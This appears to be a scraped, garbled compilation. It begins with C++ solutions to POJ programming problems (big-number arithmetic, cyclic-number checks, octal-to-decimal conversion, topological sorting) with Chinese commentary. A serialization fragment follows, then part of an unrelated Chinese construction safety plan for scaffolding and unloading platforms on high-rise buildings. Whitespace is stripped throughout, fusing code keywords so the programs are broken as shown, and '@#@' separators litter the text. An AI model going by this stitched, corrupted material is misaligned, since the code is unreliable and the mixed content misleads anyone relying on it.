@#@@#@#include<@#@iostream>@#@@#@#include<@#@string>@#@@#@#include<@#@math.h>@#@@#@usingnamespacestd;@#@@#@charans[10];@#@@#@charres[2][205];@#@@#@__int64ps;@#@//有几位小数点@#@intlen;@#@//长度,R的有效长度@#@//计算c=b*a@#@voidMultiply(char*b,intbt,char*a,intat,char*c)@#@{@#@inti,j;@#@@#@intup=0;@#@@#@for(i=0;@#@i<@#@at;@#@++i)@#@{@#@up=0;@#@@#@for(j=0;@#@j<@#@bt;@#@j++)@#@{@#@intt;@#@@#@if(c[i+j]==0)@#@c[i+j]='@#@0'@#@;@#@@#@t=(a[i]-48)*(b[j]-48)+c[i+j]-48+up;@#@@#@if(t>@#@=10)@#@{@#@up=t/10;@#@@#@t=t%10;@#@@#@c[i+j]=t+48;@#@@#@if(j==(bt-1))@#@c[i+j+1]=(up+48);@#@@#@}@#@else@#@{@#@c[i+j]=t+48;@#@@#@up=0;@#@@#@}@#@}@#@}@#@}@#@intmain()@#@{@#@stringstr;@#@@#@intn;@#@@#@inti,j;@#@@#@ints,t;@#@@#@intpos;@#@@#@while(cin>@#@>@#@str>@#@>@#@n)@#@{@#@i=5;@#@@#@pos=str.find('@#@.'@#@,0);@#@@#@if(pos<@#@0)//没有小数点@#@{@#@ps=0;@#@@#@//zs=zs*n;@#@//后面为0的总数@#@}@#@else//有小数点@#@{@#@ps=(5-pos);@#@@#@ps=ps*n;@#@//小数位总数@#@}@#@memset(ans,0,sizeof(ans));@#@@#@memset(res[0],0,sizeof(res[0]));@#@@#@memset(res[1],0,sizeof(res[1]));@#@@#@t=5;@#@@#@s=0;@#@@#@while(str[s]=='@#@0'@#@||str[s]=='@#@.'@#@)@#@s++;@#@@#@j=0;@#@@#@for(i=t;@#@i>@#@=s;@#@--i)@#@{@#@if(str[i]=='@#@.'@#@)@#@continue;@#@@#@ans[j]=str[i];@#@@#@j++;@#@@#@}@#@len=j;@#@@#@@#@strcpy(res[0],ans);@#@@#@strcpy(res[1],ans);@#@@#@for(i=2;@#@i<@#@=n;@#@++i)@#@{@#@memset(res[(i+1)%2],0,sizeof(res[0]));@#@@#@Multiply(res[i%2],strlen(res[i%2]),ans,len,res[(i+1)%2]);@#@@#@}@#@intL=strlen(res[(n+1)%2]);@#@@#@intd=(n+1)%2;@#@@#@if(ps>@#@0)@#@{@#@j=0;@#@@#@while(res[d][j]=='@#@0'@#@)@#@j++;@#@@#@if(ps>@#@=L)@#@{@#@printf("@#@."@#@);@#@@#@for(i=ps-1;@#@i>@#@=j;@#@--i)@#@{@#@if(i>@#@=L)@#@printf("@#@0"@#@);@#@@#@else@#@printf("@#@%c"@#@,res[(n+1)%2][i]);@#@@#@}@#@}@#@else@#@{@#@if(j>@#@=ps)@#@{@#@for(i=L-1;@#@i>@#@=ps;@#@--i)@#@printf("@#@%c"@#@,res[(n+1)%2][i]);@#@@#@}@#@else@#@{@#@for(i=L-1;@#@i>@#@=j;@#@--i)@#@{@#@if(i==ps)@#@{@#@printf("@#@%c."@#@,res[(n+1)%2][i]);@#@@#@}@#@else@#@printf("@#@%c"@#@,res[(n+1)%2][i]);@#@@#@}@#@}@#@}@#@}@#@else@#@{@#@for(i=L-1;@#@i>@#@=0;@#@--i)@#@printf("@#@%c"@#@,res[(n+1)%2][i]);@#@@#@}@#@printf("@#@\n"@#@);@#@@#@}@#@return0;@#@@#@}@#@2POJ1047RoundandRoundWeGo@#@题意:
@#@输入一个数,要求判该数是否为循环数.@#@依次将该数分别于2到len(输入的数的位数)相乘,在乘的过程中,判断数发生了变化没有,如果发生了变化,则直接输出该数不是循环数,没有必要再继续乘下去,而如果是循环数,则一直需要乘下去.@#@#include<@#@iostream>@#@@#@#include<@#@string>@#@@#@#include<@#@cstdlib>@#@@#@#include<@#@algorithm>@#@@#@usingnamespacestd;@#@@#@intnum[70];@#@@#@intans[70];@#@@#@charss[70];@#@@#@boolmatch[70];@#@@#@intmain()@#@{@#@inti,j,k,len;@#@@#@boolflag;@#@@#@while(scanf("@#@%s"@#@,ss)!
@#@=EOF)@#@{@#@len=strlen(ss);@#@@#@for(i=len-1,j=0;@#@i>@#@=0;@#@i--,j++)@#@num[j]=ss[i]-'@#@0'@#@;@#@@#@for(i=2;@#@i<@#@=len;@#@i++)@#@{@#@memset(ans,0,sizeof(ans));@#@@#@for(j=0;@#@j<@#@len;@#@j++)//依次将该数与2到len之间的数相乘@#@ans[j]=num[j]*i;@#@@#@for(j=0;@#@j<@#@len;@#@j++)//循环处理进位@#@if(ans[j]>@#@=10)@#@{@#@ans[j+1]+=ans[j]/10;@#@@#@ans[j]%=10;@#@@#@}@#@memset(match,0,sizeof(match));@#@//match数组用来标记数的匹配情况@#@flag=true;@#@@#@for(j=0;@#@j<@#@len;@#@j++)@#@{@#@k=0;@#@@#@while(k<@#@len)@#@{@#@if(ans[k]==num[j]&@#@&@#@!
@#@match[k])//两数字相等且没有进行标记@#@{@#@match[k]=true;@#@@#@break;@#@@#@}@#@k++;@#@@#@}@#@if(k==len)//此时说明相乘后的结果发生了改变@#@{@#@flag=false;@#@@#@break;@#@@#@}@#@}@#@if(!
@#@flag)@#@{@#@printf("@#@%sisnotcyclic\n"@#@,ss);@#@@#@break;@#@@#@}@#@}@#@if(flag)@#@printf("@#@%siscyclic\n"@#@,ss);@#@@#@}@#@system("@#@pause"@#@);@#@@#@return0;@#@@#@}@#@3POJ1131OctalFractions@#@给定一个八进制的小数题目要求你把它转换为十进制小数,转换后小数的位数是转换前八进制小数位数的3倍且不输出末尾无意义的零(即后置零).我采用的方法是乘10然后对8取整(现在假设将p进制的小数转换为n进制,同样采用乘n取整:
@#@),每转换一位,都必须从最低位s[len-1]开始至小数的最高位(即小数点后的一位),每次计算积g=a[j]*n+k(其中k为下一位积的进位),本位进位数k=g/p,积在本位存入s[j]=g%p;@#@最后的整数k作为转换的一位存放于转换结果字符串中。
@#@@#@#include<@#@iostream>@#@@#@#include<@#@string>@#@@#@#include<@#@cstdlib>@#@@#@#include<@#@algorithm>@#@@#@usingnamespacestd;@#@@#@chars1[20],s2[50],s3[20];@#@@#@intmain()@#@{@#@inti,t,j,k,g,l,len;@#@;@#@@#@while(scanf("@#@%s"@#@,s1)!
@#@=EOF)@#@{@#@l=strlen(s1);@#@@#@strcpy(s3,s1);@#@@#@len=3*(l-2);@#@@#@t=0;@#@@#@s2[0]='@#@0'@#@;@#@@#@s2[1]='@#@.'@#@;@#@@#@j=2;@#@@#@while(t<@#@len)@#@{@#@k=0;@#@@#@t++;@#@@#@for(i=l-1;@#@i>@#@1;@#@i--)//从最低位开始采用乘10对8取整@#@{@#@g=(s1[i]-'@#@0'@#@)*10+k;@#@@#@k=g/8;@#@@#@s1[i]=g%8+'@#@0'@#@;@#@@#@}@#@s2[j]=k+'@#@0'@#@;@#@@#@j++;@#@@#@}@#@s2[j]='@#@\0'@#@;@#@@#@printf("@#@%s[8]="@#@,s3);@#@@#@j--;@#@@#@while(s2[j]=='@#@0'@#@)//找出最后一个不为0的数的位置@#@j--;@#@@#@for(i=0;@#@i<@#@=j;@#@i++)//去掉后置0进行的输出@#@printf("@#@%c"@#@,s2[i]);@#@@#@printf("@#@[10]\n"@#@);@#@@#@}@#@system("@#@pause"@#@);@#@@#@return0;@#@@#@}@#@4ACM——POJ1503(IntegerInquiry)@#@题目解析:
@#@水题一道。
@#@就是大数加法,循环移位。
@#@注意输入数据有以0开头的整数,所以要用strcmp判断而不是直接判断[0]位是否为0。
@#@@#@#include<@#@iostream>@#@@#@#include<@#@stdio.h>@#@@#@@#@usingnamespacestd;@#@@#@@#@intmain()@#@{@#@//输出字符串至多为100个100位数的和,给102位,因为我不需要最后一位\0作定位符@#@charm_Sum[102];@#@@#@@#@//初始化这102位为'@#@0'@#@@#@memset(m_Sum,48,102);@#@@#@@#@//定位输出字符串的位置,用于加法。
@#@定位输出字符串的位置,用于进位@#@intm_Pos_Sum,m_Pos_Sum_Temp;@#@@#@@#@//输入字符串长度至多为100,给101位,因为我需要\0位控制结束@#@charm_Input[101];@#@@#@@#@//输入字符串的长度@#@intm_Length_Input;@#@@#@@#@while
(1)@#@{@#@//初始化为\0@#@memset(m_Input,0,101);@#@@#@@#@//输入数据@#@scanf("@#@%s"@#@,m_Input);@#@@#@@#@//输入的数据有可能是以0开头的,不能直接判断[0]是否为0,得用strcmp@#@if(strcmp(m_Input,"@#@0"@#@)==0)@#@break;@#@@#@else@#@{@#@//计算输入字符串的长度@#@m_Length_Input=strlen(m_Input);@#@@#@@#@//定位输出字符串的位置至最后一位,即101@#@m_Pos_Sum=101;@#@@#@@#@//从这个字符串的最低位开始加,[m_Length_Input-1]永远表示需要加的那一位@#@while(m_Length_Input>@#@0)@#@{@#@//做单个位置的加法,注意需减48@#@m_Sum[m_Pos_Sum]+=(m_Input[m_Length_Input-1]-48);@#@@#@@#@//定位进位位置@#@m_Pos_Sum_Temp=m_Pos_Sum;@#@@#@@#@//如果大于9,需要进位,且是循环进位@#@while(m_Sum[m_Pos_Sum_Temp]>@#@'@#@9'@#@)@#@{@#@//这一位减10,前一位加1@#@m_Sum[m_Pos_Sum_Temp]-=10;@#@@#@m_Sum[--m_Pos_Sum_Temp]+=1;@#@@#@}@#@@#@//输入字符串与输出字符串均往前移1位@#@--m_Length_Input;@#@@#@--m_Pos_Sum;@#@@#@}@#@}@#@}@#@@#@//输出结果,先找到第一个不为0的位置@#@intm_Cycle;@#@@#@for(m_Cycle=0;@#@m_Cycle<@#@102;@#@++m_Cycle)@#@{@#@if(m_Sum[m_Cycle]!
@#@='@#@0'@#@)@#@break;@#@@#@}@#@@#@//从该位置起,输出后面所有@#@for(;@#@m_Cycle<@#@102;@#@++m_Cycle)@#@printf("@#@%c"@#@,m_Sum[m_Cycle]);@#@@#@@#@printf("@#@\n"@#@);@#@@#@@#@system("@#@pause"@#@);@#@@#@return0;@#@@#@}@#@5POJ1504AddingReversedNumbers水题@#@此题主要就是数字的前后倒置,这是解决问题的关键,当然可以用字符串进行计算,但是这样我认为会比较复杂(没有测试),所以我采取了另一种方法,具体见reverse函数!
@#@@#@#include<@#@stdio.h>@#@@#@intmain()@#@{@#@intreverse(intx);@#@@#@intcases,x1,x2,sum;@#@@#@scanf("@#@%d"@#@,&@#@cases);@#@@#@while(cases--)@#@{@#@scanf("@#@%d%d"@#@,&@#@x1,&@#@x2);@#@@#@sum=reverse(x1)+reverse(x2);@#@@#@printf("@#@%d\n"@#@,reverse(sum));@#@@#@}@#@return0;@#@@#@}@#@intreverse(intx)@#@{@#@intb,sum=0;@#@@#@while(x!
@#@=0)@#@{@#@b=x%10;@#@@#@x=x/10;@#@@#@sum=sum*10+b;@#@@#@}@#@returnsum;@#@@#@}@#@6poj1060(SortingItAllOut)@#@拓扑排序问题。
@#@@#@也可以用传递闭包做,但是还没有看,不会.@#@最主要的是要理解好题意:
@#@wherexxxisthenumberofrelationsprocessedatthetimeeitherasortedsequenceisdeterminedoraninconsistencyisfound,whichevercomesfirst,。
@#@@#@意思就是依次输入各个relation,一旦发现可以确定拓扑序列则输出序列,后面的relations忽略(即使发现有矛盾);@#@一旦发现有矛盾(即环),则输出,后面relations也忽略。
@#@@#@这个题意我倒是一开始就理解了,但是有个简单的问题我没有想到,应该先判断是否有矛盾(环),等输完最后一个relations后再判断是否有多个拓扑序列。
@#@如果没有考虑到这一点对于一些样例输入是可以正确输出的,但是对于如下的样例输入则会输出Sortedsequencecannotbedetermined.(实际上应该输出Inconsistencyfoundafter12relations.):
@#@@#@1112@#@K<@#@J@#@B<@#@A@#@E<@#@F@#@D<@#@F@#@G<@#@F@#@H<@#@I@#@G<@#@E@#@I<@#@K@#@J<@#@F@#@A<@#@H@#@F<@#@C@#@C<@#@B@#@再注意到这一点就可以避免错误了,应该就差不多能过了。
@#@@#@#include<@#@iostream>@#@@#@usingnamespacestd;@#@@#@classpoly{@#@public:
@#@@#@poly(intN=0){@#@n=N;@#@@#@p=newint[n*sizeof(int)];@#@@#@for(inti=0;@#@i<@#@n;@#@i++)p[i]=0;@#@@#@}@#@poly&@#@operator=(constpoly&@#@s){@#@n=s.n;@#@@#@for(inti=n-1;@#@i>@#@=0;@#@i--)@#@p[i]=s.p[i];@#@@#@while(!
@#@s.p[n-1])n--;@#@@#@return*this;@#@@#@}@#@~poly(){if(p)delete[]p;@#@}@#@voidset(constpoly&@#@a,constpoly&@#@b){@#@n=abs(a.n-b.n)+1;@#@@#@for(inti=0;@#@i<@#@n-1;@#@i++)p[i]=0;@#@@#@p[n-1]=1;@#@@#@}@#@friendpolyoperator*(constpoly&@#@a,constpoly&@#@b){@#@polyd(a.n+b.n+1);@#@@#@d.n=1;@#@@#@inti,j;@#@@#@for(i=0;@#@i<@#@a.n;@#@i++)@#@if(a.p[i])@#@for(j=0;@#@j<@#@b.n;@#@j++)@#@if(b.p[j]){@#@d.p[i+j]=(d.p[i+j]+1)%2;@#@@#@if(i+j>@#@d.n-1)d.n=i+j+1;@#@@#@}@#@returnd;@#@@#@}@#@friendpolyoperator-(constpoly&@#@a,constpoly&@#@b){@#@polyd(max(a.n,b.n));@#@@#@for(inti=0;@#@i<@#@d.n;@#@i++){@#@d.p[i]=(a.p[i]-b.p[i])%2;@#@@#@if(d.p[i]<@#@0)d.p[i]+=2;@#@@#@}@#@returnd;@#@@#@}@#@friendbooloperator>@#@(constpoly&@#@a,constpoly&@#@b){@#@if(a.n>@#@b.n)return1;@#@@#@if(a.n==b.n)@#@for(inti=a.n-1;@#@i>@#@=0;@#@i--)@#@if(a.p[i]>@#@b.p[i])return1;@#@@#@return0;@#@@#@}@#@friendostream&@#@operator<@#@<@#@(ostream&@#@out,constpoly&@#@s){@#@cout<@#@<@#@s.n;@#@@#@for(inti=s.n-1;@#@i>@#@=0;@#@i--)@#@cout<@#@<@#@'@#@'@#@<@#@<@#@s.p[i];@#@@#@returnout;@#@@#@}@#@friendistream&@#@operator>@#@>@#@(istream&@#@in,poly&@#@s){@#@cin>@#@>@#@s.n;@#@@#@for(inti=s.n-1;@#@i>@#@=0;@#@i--)@#@cin>@#@>@#@s.p[i];@#@@#@returnin;@#@@#@}@#@private:
@#@@#@intn,*p;@#@@#@}a(1001),b(1001),c(1001),d(2002),e(1001);@#@@#@intmain()@#@{@#@intt;@#@@#@cin>@#@>@#@t;@#@@#@while(t--){@#@cin>@#@>@#@a>@#@>@#@b>@#@>@#@c;@#@@#@d=a*b;@#@@#@while(d>@#@c){@#@e.set(d,c);@#@@#@d=d-c*e;@#@@#@}@#@cout<@#@<@#@d<@#@<@#@endl;@#@@#@}@#@}@#@";i:
7;s:
17298:
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"B4B21外架卸料平台安全伸展棚施工方案@#@ @#@@#@一、工程概况@#@本工程为高层住宅楼,含B4~B21住宅楼,总建筑面积350000㎡。
@#@其中4#楼建筑面积19901.73㎡/栋,共33层,建筑高度99.3m;@#@5、6、7#楼建筑面积19214.86㎡,共33层,建筑高度99.3m;@#@8#楼建筑面积2433.61㎡;@#@9、10#楼建筑面积分别为20363.56㎡、21410.91㎡;@#@共33层,建筑高度99.3m;@#@11、12、13#楼建筑面积分别为16314.66㎡、17362.75㎡、17725.18㎡建筑高度分别为84.3m、89.7m;@#@14、15#楼建筑面积为18415.66㎡、16314.66㎡;@#@建筑高度为84.3m;@#@16、17#楼建筑面积为21803.64㎡、21555.39㎡,建筑高度为99.3m;@#@18、19、20#楼建筑面积分别为19214.86㎡、19901.73㎡、19901.73㎡,建筑高度为104.7m;@#@21#楼建筑面积为20790.07㎡,建筑高度为70.3m;@#@5#车库建筑面积33973.0㎡,建筑高度为8.1m。
@#@@#@本工程结构类型为钢筋混凝土剪力墙结构,剪力墙抗震等级为三级,设计耐久年限50年,耐火等级:
@#@二级。
@#@B8、12、13、14、19栋楼及5#车库基础采用钻孔灌注桩基础、筏板基础等形式;@#@4、5、6、7、9、10、15、16、17、18、20、21栋楼基础采用人工挖孔桩基础、筏板基础等形式。
@#@采用烧结页岩空心砖、配砖、作为填充墙砌体。
@#@@#@二、编制依据@#@
(1)建设部行业标准《建筑施工安全检查标准》JGJ59-2011及《重庆市建筑工地文明施工标准》渝建发[2000]39号规定,对主体塔楼施工为防止高空坠落和物体打击事故发生,采用悬挑封闭脚手架对建筑施工作业进行全封闭,确保施工安全和文明施工,特编制本方案。
@#@@#@
(2)国务院《建设工程安全生产管理条例》规定必须编制专项施工方案。
@#@@#@(3)施工图及设计变更内容。
@#@@#@(4)执行规范:
@#@@#@a.《建筑施工安全检查标准》JGJ59-2011@#@b.《建筑施工扣件式钢管脚手架安全技术规程》JGJ130-2011@#@c.《建筑施工高处作业安全技术规范》JGJ80-91@#@d.《建筑结构荷载规范》(GB50009-2012)、@#@e.《钢结构设计规范》(GB50017-2003)等规范。
@#@@#@(5)《施工组织设计》。
@#@@#@三、施工组织与管理@#@1、组织机构:
@#@在项目部领导下,成立外防护施工管理小组,设立专职安全员@#@2、技术准备:
@#@@#@2、1认真熟悉图纸,掌握工程外围部分建筑、结构设计特点,仔细勘查建筑物四周环境及相互关系,预测本工程四周施工过程中可能产生的相关安全隐患问题。
@#@@#@2、2确定外防护安全生产目标,编制科学合理、切实可行的外防护方案,上报有关部门审批同意后,按方案组织实施。
@#@按已审批的方案结合有关规范规定,对管理小组及全体作业人员进行全面交底,完善相关手续。
@#@@#@3、材料准备@#@1)钢管@#@规格:
@#@采用Φ48,壁厚3.0mm的钢管,自重3.33kg/m。
@#@@#@油漆:
@#@面漆采用黄色油漆涂刷。
@#@@#@2)扣件@#@符合《钢管脚手架扣件》GB15831-2006的规定。
@#@@#@3)脚手板@#@采用竹跳板,上铺竹胶板。
@#@@#@4)悬挑钢梁@#@材质:
@#@符合《碳素结构钢》GB/T700-2006中Q235-A级的规定。
@#@@#@规格:
@#@16#工字钢。
@#@@#@油漆:
@#@面漆采用黄、黑相间色面漆。
@#@@#@5)预埋钢筋@#@材质:
@#@符合《碳素结构钢》GB/T700-2006中Q235-A级的规定。
@#@@#@规格:
@#@Ф16@#@6)牵引拉绳@#@材质:
@#@钢丝绳外架:
@#@6*37-15.5-185-I卸料平台:
@#@6*37-20-185-I@#@7)安全网@#@材质:
@#@密目式安全网,符合GB16909-1997的规定。
@#@@#@8)分色挡脚板@#@材质:
@#@竹胶板@#@油漆:
@#@采用红白相间油漆。
@#@@#@四、脚手架方案选择@#@本工程考虑到施工工期、质量、安全和合同要求,故在选择方案时,应充分考虑以下几点:
@#@@#@1、架体的结构设计,力求做到结构要安全可靠,造价经济合理。
@#@@#@2、在规定的条件下和规定的使用期限内,能够充分满足预期的安全性和耐久性。
@#@@#@3、选用材料时,力求做到常见通用、可周转利用,便于保养维修。
@#@@#@4、结构选型时,力求做到受力明确,构造措施到位,升降搭拆方便,便于检查验收;@#@@#@5、综合以上几点,脚手架的搭设,还必须符合JCJ59-2011检查标准要求,要符合相关文明标化工地的有关标准。
@#@@#@6、结合以上脚手架设计原则,同时结合本工程的实际情况,综合考虑了以往的施工经验,决定采用以下脚手架方案:
@#@@#@普通型钢悬挑脚手架,钢管落地脚手架,型钢悬挑卸料平台以及安全伸展棚。
@#@@#@1、防护架施工脚手架@#@根据本工程的结构特点和建筑造型,本工程外脚手架采用双排落地式脚手架和普通型钢悬挑脚手架。
@#@普通型钢悬挑脚手架水平悬挑型钢作脚手架承力架,采用Φ48,壁厚3.0mm的钢管、扣件在承力架上搭设脚手架。
@#@7#、9#、10#、15#、21#楼在1~4层用双排落地式脚手架搭设,在5、11、17、23、29层楼面采用16#工字钢挑架(一挑六层);@#@B4-B6及、B16#、B17#楼从27米(10层)开始搭设挑架,以上每6层一挑,27米以下采用双排脚手架搭设,且在1-12米的高度内采用双立杆搭设。
@#@B11-14#楼、B18-20#楼从12米(5层结构板面)开始搭设挑架,以上每6层一挑;@#@5#车库外墙、8#楼在1~3层用双排落地式脚手架搭设。
@#@卸料挑平台为工字钢卸料平台。
@#@主要通道出入口处搭设防护棚。
@#@@#@2、安全生产棚@#@各高层塔楼均在10层、20层周圈搭设挑架作为安全生产防护棚。
@#@具体搭设方法见附图。
@#@@#@外架作业人员素质要求@#@5.1从事建筑登高的作业人员必须年满18岁,两眼视力均不低于1.0、无色盲、无听觉障碍,无高血压、心脏病、癫痫、眩晕和突发性昏厥等疾病,无妨害登高架设作业的其它疾病和生理缺陷。
@#@@#@5.2责任心强,工作认真负责,熟悉本作业的安全技术操作规程。
@#@严禁酒后作业和作业中玩笑戏闹。
@#@@#@5.3正确使用个人防护用品和采取安全防护措施。
@#@进入施工现场,必须戴好安全帽,在无可靠防护的2m以上作业必须系好安全带,使用工具要放在工具套内。
@#@@#@5.4架子工必须经过培训教育,考试、体检合格,持证上岗。
@#@任何人不得安排未经培训的无证人员上岗作业。
@#@@#@5.5上架作业人员应定期进行体检。
@#@@#@5.6高处作业所用材料要堆放平稳,高处作业地面环境要整洁,不能杂乱无章,乱摆乱放,所用工具要全部清点回收,防止遗留在作业现场掉落伤人。
@#@@#@五、主要搭设方法@#@
(1)外防护钢管脚手架@#@脚手架材料要求@#@钢管落地脚手架@#@l、钢管落地脚手架,选用外径48mm,壁厚3mm,钢材强度等级Q235-A,钢管表面应平直光滑,不应有裂纹、分层、压痕、划道和硬弯,新用的钢管要有出厂合格证。
@#@脚手架施工前必须将入场钢管取样,送有相关国家资质的试验单位,进行钢管抗弯、抗拉等力学试验,试验结果满足设计要求后,方可在施工中使用。
@#@@#@2、本工程钢管脚手架的搭设使用可锻铸造扣件,应符合建设部《钢管脚手扣件标准》JGJ22-85的要求,由有扣件生产许可证的生产厂家提供,不得有裂纹、气孔、缩松、砂眼等锻造缺陷,扣件的规格应与钢管相匹配,贴和面应平整,活动部位灵活,夹紧钢管时开口处最小距离不小于5mm。
@#@钢管螺栓拧紧力矩达65N.m时不得破坏。
@#@如使用旧扣件时,扣件必须取样送有相关国家资质的试验单位,进行扣件抗滑力等试验,试验结果满足设计要求后方可在施工中使用。
@#@@#@3、搭设架子前应进行保养,除锈并统一涂色,颜色力求环境美观。
@#@脚手架立杆、防护栏杆、踢脚杆统一漆黄色,剪力撑统一漆红白相间色。
@#@底排立杆、扫地杆均漆红白相间色。
@#@@#@4、脚手板、脚手片采用符合有关要求。
@#@@#@5、安全网采用密目式安全网,网目应满足2000目/100cm2,做耐贯穿试验不穿透,1.6×@#@1.8m的单张网重量在3kg以上,颜色应满足环境效果要求,选用绿色。
@#@要求阻燃,使用的安全网必须有产品生产许可证和质量合格证,以及建筑安全监督管理部门发放的准用证。
@#@@#@6、连墙件采用钢管,其材质应符合现行国家标准《碳素钢结构》(GB/T700-2006)中Q235A钢的要求。
@#@@#@普通型钢悬挑脚手架@#@l、普通型钢悬挑脚手架,选用架设钢管外径48mm,壁厚3mm,钢材强度等级Q235-A,钢管表面应平直光滑,不应有裂纹、分层、压痕、划道和硬弯,新用的钢管要有出厂合格证。
@#@脚手架施工前必须将入场钢管取样,送有相关国家资质的试验单位,进行钢管抗弯、抗拉等力学试验,试验结果满足设计要求后,方可在施工中使用。
@#@@#@2、本工程钢管脚手架的搭设使用可锻铸造扣件,应符合建设部《钢管脚手扣件标准》GB15831的要求,由有扣件生产许可证的生产厂家提供,不得有裂纹、气孔、缩松、砂眼等锻造缺陷,扣件的规格应与钢管相匹配,贴和面应平整,活动部位灵活,夹紧钢管时开口处最小距离不小于5mm。
@#@钢管螺栓拧紧力矩达65N.m时不得破坏。
@#@如使用旧扣件时,扣件必须取样送有相关国家资质的试验单位,进行扣件抗滑力等试验,试验结果满足设计要求后方可在施工中使用。
@#@@#@3、搭设架子前应进行保养,除锈并统一涂色,颜色力求环境美观。
@#@脚手架立杆、防护栏杆、踢脚杆统一漆黄色,剪力撑统一漆红白相间色。
@#@底排立杆、扫地杆均漆红白相间色。
@#@@#@4、脚手板、脚手片采用符合有关要求。
@#@@#@5、安全网采用密目式安全网,网目应满足2000目/100cm2,做耐贯穿试验不穿透,1.6×@#@1.8m的单张网重量在3kg以上,颜色应满足环境效果要求,选用绿色。
@#@要求阻燃,使用的安全网必须有产品生产许可证和质量合格证,以及由建筑安全监督管理部门发放的准用证。
@#@@#@6、连墙件采用钢管,其材质应符合现行国家标准《碳素钢结构》(GB/T700-2006)中Q235A钢的要求。
@#@@#@7、型钢水平悬挑杆采用16号槽钢。
@#@@#@8、预埋螺栓的直径为16mm。
@#@@#@9.选择6×@#@37钢丝绳,钢丝绳公称抗拉强度1850MPa,直径15.5mm。
@#@@#@绿色密目安全网使用有国家认证的生产厂家供货,安全网必须是阻燃的,进场要做防火试验,不合格者不得进场验收。
@#@@#@安全网在存放使用中,不得受有机化学物质污染或其它可能引起磨损的物品相混,当发现污染应进行冲洗,洗后自然干燥,使用中要防止电焊火花掉在网上。
@#@@#@安全网拆除后要洗净捆好,放在通风、遮光、隔热的地方,禁止使用钩子搬运。
@#@@#@脚手架搭设流程及要求@#@钢管落地脚手架@#@落地脚手架搭设的工艺流程为:
@#@场地平整、夯实→基础承载力实验、材料配备→定位设置通长脚手板、底座→纵向扫地杆→立杆→横向扫地杆→小横杆→大横杆(搁栅)→剪刀撑→连墙件→铺脚手板→扎防护栏杆→扎安全网。
@#@@#@定距定位。
@#@根据构造要求在建筑物四角用尺量出内、外立杆离墙距离,并做好标记;@#@用钢卷尺拉直,分出立杆位置,并用小竹片点出立杆标记;@#@垫板、底座应准确地放在定位线上,垫板必须铺放平整,不得悬空。
@#@@#@在搭设首层脚手架过程中,沿四周每框架格内设一道斜支撑,拐角除双向增设,待该部位脚手架与主体结构的连墙件可靠拉接后方可拆除。
@#@当脚手架操作层高出连墙件两步时,宜先立外排,后立内排。
@#@其余按下构造要求搭设。
@#@@#@双排脚手架搭设高度为30米,立杆采用单立管;@#@搭设尺寸为:
@#@立杆的纵距为1.8米,立杆的横距为1.05米,大小横杆的步距为1.8米;@#@内排架距离墙长度为0.30米;@#@大横杆在上,搭接在小横杆上的大横杆根数为2根;@#@采用的钢管类型为Φ48×@#@3.0;@#@横杆与立杆连接方式为单扣件;@#@取扣件抗滑承载力系数为0.80;@#@连墙件采用两步三跨,竖向间距3.6米,水平间距5.4米,采用扣件连接;@#@连墙件连接方式为双扣件;@#@@#@普通型钢悬挑脚手架@#@1、施工流程@#@锚环预埋→安设挑梁→连接扫地杆→铺封底跳板→排设立杆→搭设第一道大横杆→临时稳定架子→搭设第二道大横杆→连接小横杆完成第一步架→类似完成第二步架→加固→类似完成第三步架→加固→搭设斜道→挂安全密目网→用竹胶板封闭(临街面)→检查验收→投入使用→拆除@#@2、主要施工方法@#@由于场地狭窄,建筑造型较复杂,7#、9#、10#、15#、21#楼在1~4层用双排落地式脚手架搭设,在5、11、17、23、29层楼面采用16#工字钢挑架(一挑六层);@#@B4-B6及、B16#、B17#楼从27米(10层)开始搭设挑架,以上每6层一挑,27米以下采用双排脚手架搭设,且在1-12米的高度内采用双立杆搭设。
@#@B11-14#楼、B18-20#楼从12米(5层结构板面)开始搭设挑架,以上每6层一挑;@#@5#车库外墙、8#楼在1~3层用双排落地式脚手架搭设。
@#@@#@
(1)预留预埋@#@1)工字钢锚环@#@工字钢钢锚环采用Ф16钢筋制作,制作方式见附图。
@#@预埋点距边缘800mm、2600mm设置两道,间距1500mm(转角最大不超过3600mm)。
@#@锚环应绑扎在梁面筋下或板底筋上。
@#@@#@2)拉接锚环@#@外架每层设置拉接支撑,拉接锚环采用Φ10钢筋制作,制作及埋设方式同工字钢锚环,埋设点距建筑边缘600mm。
@#@@#@
(2)安设挑梁@#@主挑梁采用16#工字钢穿入预埋钢筋锚环处,固定端松动的情况下应采用短钢筋紧固,挑梁外端间距调整为1500mm,然后连接扫地杆。
@#@@#@(3)安设立杆@#@脚手架立杆直接套在预先焊接在工字钢上的Ф48钢管上,套接长度≥100mm。
@#@主体施工阶段为单排架,外侧立杆距边梁外侧1200mm,装饰阶段为双排架,加设内侧立杆,距边梁外侧300mm。
@#@@#@立杆间距1500mm,每隔一根立杆均对应一根挑梁,立杆用“十”字扣件与扫地杆连接牢固。
@#@立杆安设应垂直,其垂直偏差控制在架高的1/400以内,且在±@#@100mm内。
@#@采用双排脚手架搭设时,立杆纵距1500,横距1050。
@#@@#@架子中间各层各步立杆的接长采用对接扣件连接,不得用两个或多个旋转扣件连接。
@#@立杆应采用不同长度的钢管参差布置,相邻两根立杆的接头不应设置在同一步内,同一步内隔一根立杆的两个相隔接头在高度方向错开的距离不宜小于500mm。
@#@各接头中心至节点的距离不宜大于步距的1/3。
@#@@#@顶层顶步立杆可采用两个或两个以上的旋转扣件固定搭接,搭接长度不应小于1m,端部扣件盖板的边缘至杆端距离不应小于100mm。
@#@@#@立杆顶端高出女儿墙上皮1.2m,高出檐口上皮1.5m。
@#@@#@(4)大横杆搭设@#@大横杆步距为900mm,设置于外立杆内侧。
@#@@#@大横杆接长采用对接扣件连接,接头必须相互错开,两根相邻纵向水平杆的接头不宜设置在同步或同跨内。
@#@不同步或不同跨两个相邻接头在水平方向错开的距离不应小于500mm,各接头中心至最近主节点的距离不宜大于纵距的1/3。
@#@@#@大横杆与立杆采用“十”字扣件连接,通过其把小横杆的荷载传递给立杆。
@#@@#@大横杆应安装平顺,一根杆的两端高差应在±@#@20mm内,同步的相邻两根大横杆高差应在±@#@10mm内。
@#@@#@(5)小横竿搭设@#@主节点处必须设置一根横向水平杆,用直角扣件扣接且严禁拆除。
@#@主节点处两个直角扣件的中心距不应大于150mm。
@#@靠墙一端的外伸长度不应大于0.4L(L为立杆横向间距),且不应大于500mm。
@#@小横杆伸出外架外侧统一为100mm,以保证外架搭设美观。
